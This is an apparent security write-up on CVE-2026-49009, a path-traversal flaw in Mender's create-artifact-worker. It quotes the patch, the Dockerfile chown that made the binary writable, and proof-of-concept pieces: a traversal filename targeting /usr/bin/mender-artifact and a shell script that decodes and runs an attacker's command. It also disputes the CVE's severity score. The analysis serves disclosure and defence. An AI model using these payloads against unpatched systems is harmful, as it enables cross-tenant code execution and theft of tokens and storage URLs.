Mender ships create-artifact-worker as an Alpine container that runs as UID 65534. The same Dockerfile installs /usr/bin/mender-artifact with COPY --from=builder --chown=$USER. UID 65534 owns the binary the worker is about to invoke. CVE-2026-49009 is the path-traversal bug in the worker's filename handling that made an authenticated tenant the writer of that file.
CVE-2026-49009: Mender's Create-Artifact-Worker Owns The Binary It Invokes
pattern
cve
proof of concept
The patch is one line in single-file.go
Manuel Zedel's commit 484cc2a on March 7, 2026 closes CVE-2026-49009. In backend/services/create-artifact-worker/cmd/single-file.go:
- c.FileName = args.Filename
+ // Sanitize filename: strip directory components to prevent path traversal
+ c.FileName = filepath.Base(args.Filename)
+ if c.FileName == "." || c.FileName == ".." {
+ return errors.New("invalid filename")
+ }args.Filename is the value the authenticated tenant put in the filename field of the args JSON they POST to /api/management/v1/deployments/artifacts/generate. Pre-patch, the worker read that string straight into c.FileName and joined it with its own temp directory thirty lines later:
//gotcha: must download under the correct name (destination name on the device)
//artifact generator will not allow renaming it
downloadFile := filepath.Join(downloadDir, c.FileName)
mlog.Verbose("downloading temp artifact to %s", downloadFile)
err = cs3.Download(ctx, c.GetArtifactUri, downloadFile)Go's filepath.Join cleans .. segments but does not prevent them from escaping the base directory. With c.FileName = "../../../../usr/bin/mender-artifact", downloadFile resolves to /usr/bin/mender-artifact. The next call is cs3.Download, which writes the attacker's uploaded bytes to that path.
The deployments service validated everything in the form except args
The traversal lives inside the worker, but the JSON it consumed reached the worker through a service that already had a validator. In backend/services/deployments/model/image.go:
func (msg MultipartGenerateImageMsg) Validate() error {
if err := validation.ValidateStruct(&msg,
validation.Field(&msg.Name, validation.Required, lengthIn1To256),
validation.Field(
&msg.DeviceTypesCompatible,
validation.Required,
validation.Each(lengthIn1To256),
lengthIn1To256,
),
validation.Field(&msg.Type, validation.Required, lengthIn1To256),
); err != nil {
return err
}Name, DeviceTypesCompatible, Type. Not Args. The deployments service treats the args field as an opaque blob to forward to the workflow. The workflow forwards it to the worker as --args '<json>'. The worker parses the JSON. The fields inside the JSON are the worker's contract, not the deployments service's.
Two components on either side of the API boundary, each owning its half, each validating what its half cared about. The filename field belongs to neither's scope. The path traversal lives in that gap.
How the write reaches an executable path
The worker's temp directory is created inside CREATE_ARTIFACT_WORKDIR, which the Dockerfile sets to /var/cache/create-artifact-worker. os.MkdirTemp(c.Workdir, "single-file") returns something like /var/cache/create-artifact-worker/single-file3729134192. Four .. components from there reach the filesystem root.
The PoC's exploit.py uses exactly that:
args_json = {
"filename": "../../../../usr/bin/mender-artifact",
"dest_dir": "/opt/mender/app",
"software_name": "demo",
"software_version": "1",
}/usr/bin/mender-artifact is chosen for a reason. The worker's Run() function, after writing the download, invokes:
cmd := exec.Command("/usr/bin/single-file-artifact-gen", args...)
std, err := cmd.CombinedOutput()single-file-artifact-gen is a shell script that the Dockerfile installs from github.com/mendersoftware/mender. After its argument parsing, the script's actual command line is:
mender-artifact write module-image \
-T single-file \
"${device_types[@]}" \
-o "$output_path" \
-n "$artifact_name" \
-f "$dest_dir_file" \
-f "$filename_file" \
-f "$permissions_file" \
-f "$file" \
"${passthrough_args[@]}"mender-artifact is resolved via $PATH. /usr/bin is on $PATH. The shell finds /usr/bin/mender-artifact. That is the file the attacker just overwrote.
The PoC writes a /bin/sh script that base64-decodes and executes whatever command the attacker supplied:
#!/bin/sh
CMD_B64="<attacker base64>"
CMD="$(printf '%s' "$CMD_B64" | base64 -d 2>/dev/null || printf '%s' "$CMD_B64")"
/bin/sh -c "$CMD"
exec /bin/sh "$@"The worker invokes single-file-artifact-gen, which calls a binary named mender-artifact with whatever arguments the worker assembled. The script ignores those arguments and runs the attacker's command. The artifact-generation workflow then proceeds. From the deployments service's perspective the request completed.
The Dockerfile makes the binary writable by the runtime user
args.Filename reaching filepath.Join is the bug the patch closes. The reason that bug is RCE rather than a wasted file write is six lines in the Dockerfile:
FROM ${REGISTRY}/library/alpine:3.23.4
ARG USER=65534:65534
RUN apk add libc6-compat xz bash
USER $USER
# Install mender-artifact
ADD --chmod=0755 https://raw.githubusercontent.com/mendersoftware/mender/master/support/modules-artifact-gen/single-file-artifact-gen \
/usr/bin/single-file-artifact-gen
COPY --from=builder --chown=$USER \
/build/mender-artifact \
/usr/bin/mender-artifactUSER 65534:65534. The container runs as nobody.
COPY --from=builder --chown=$USER /build/mender-artifact /usr/bin/mender-artifact. The binary in /usr/bin/mender-artifact is owned by nobody.
Writing to /usr/bin/mender-artifact from inside the container is nobody overwriting a file nobody owns. The filesystem rules approve the write before the path traversal even matters.
Three binaries in the same Dockerfile carry the same --chown=$USER:
COPY --from=builder --chown=$USER /build/workflows /usr/bin/workflows
COPY --from=builder --chown=$USER /build/create-artifact /usr/bin/create-artifact
COPY --from=builder --chown=$USER /build/mender-artifact /usr/bin/mender-artifactThe PoC picked mender-artifact because it is the binary the worker invokes next in the current workflow. single-file-artifact-gen is the only executable in /usr/bin that the worker touches and does not own: the Dockerfile installs it via ADD --chmod=0755 without --chown, so the runtime user can execute it and not modify it. The runtime user can overwrite the executable that is about to be invoked. It cannot overwrite the shell script that invokes it. The PoC reads the Dockerfile and picks accordingly.
The next tenant to build an artifact runs the attacker's payload
Hosted Mender runs the create-artifact-worker as a long-lived container that processes the generate_artifact workflow queue. The vendor's own advisory acknowledges that "compromis[ing] the container for other users" is the practical outcome.
The named victim is a tenant of Hosted Mender who is not the attacker. They submit a normal single-file artifact request. The workflow runs on a worker whose /usr/bin/mender-artifact has already been replaced by another tenant's PoC several minutes earlier. The script the worker invokes is the attacker's, executed under the worker's identity, with access to the worker's environment variables, the workflow context, the tenant token the workflow was given, and any pre-signed S3 URLs the platform handed the worker for inbound and outbound artifact storage. The victim's artifact build appears to succeed. The persistence lasts until the container's next restart.
There is no race between the two requests. The attacker's overwrite persists on disk. The next tenant whose job lands on the same worker is the next victim. The worker pool size is what bounds the blast radius.
The patch also quietly fixes argument injection
The same commit adds a new helper:
func validateSafeString(name, value string, maxLen int) error {
if len(value) > maxLen {
return fmt.Errorf("%s exceeds maximum length of %d", name, maxLen)
}
if strings.HasPrefix(value, "-") {
return fmt.Errorf("%s must not start with '-'", name)
}
if strings.ContainsAny(value, "\n\r\x00") {
return fmt.Errorf("%s must not contain control characters", name)
}
return nil
}The function is called on filename, artifact-name, device-type, software_filesystem, software_name, software_version, and description. Every one of those fields is concatenated into the exec.Command invocation that runs single-file-artifact-gen:
args := []string{
"-n", c.ArtifactName,
"-d", c.DestDir,
"-o", outfile,
}
if c.SoftwareFilesystem != "" {
args = append(args, "--software-filesystem", c.SoftwareFilesystem)
}
if c.SoftwareName != "" {
args = append(args, "--software-name", c.SoftwareName)
}
if c.SoftwareVersion != "" {
args = append(args, "--software-version", c.SoftwareVersion)
}
for _, deviceType := range c.DeviceTypes {
args = append(args, "-t", deviceType)
}
args = append(args, downloadFile)
cmd := exec.Command("/usr/bin/single-file-artifact-gen", args...)The strings.HasPrefix(value, "-") rejection is argument-injection defense. A pre-patch tenant who set, say, software_name to --output-path would inject an additional flag into the single-file-artifact-gen invocation. The CVE description names path traversal and improper input sanitization. The patch closes one path traversal and seven separate argument-injection footguns in the same commit. The CVE record names one of those.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N
The CVE record's CVSS vector reads AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N. Confidentiality: Low. Integrity: None. Availability: None. Attack complexity: High. The base score is 3.1.
The PoC writes a shell script of the attacker's choice to a binary the worker is about to execute. Confidentiality, integrity, and availability of every other tenant whose job lands on the same worker are all High until the container restarts. The base score for a correctly-vectored CVSS would be 8.8.
The vendor's advisory describes the impact as "severe in this case" for hosted Mender, naming the shared build worker as what gets compromised. The CVE record describes the same bug. Both records are public. Both cannot be accurate.
This is unauth-write-to-execution-path with the auth knob inverted
This is the auth-required cousin of unauth-write-to-execution-path, the same substrate the Pix for WooCommerce, Breeze Cache, and n8n Git exhibits sit on. The execute path is not a webroot here; it is a binary in the runtime user's $PATH. The write trigger is not anonymous HTTP; it is an authenticated tenant POSTing to a documented management endpoint. The substrate is unchanged: the worker's write path overlaps the worker's execute path, the overlap is reachable by callers the system already trusts to do the writing, and the overlapping files are owned by the same Linux user that does the writing.
The patch closes the traversal. The chown that makes the traversal worth doing is still in the Dockerfile.
filepath.Base is one line. --chown=$USER is one line. The patch ships one of them.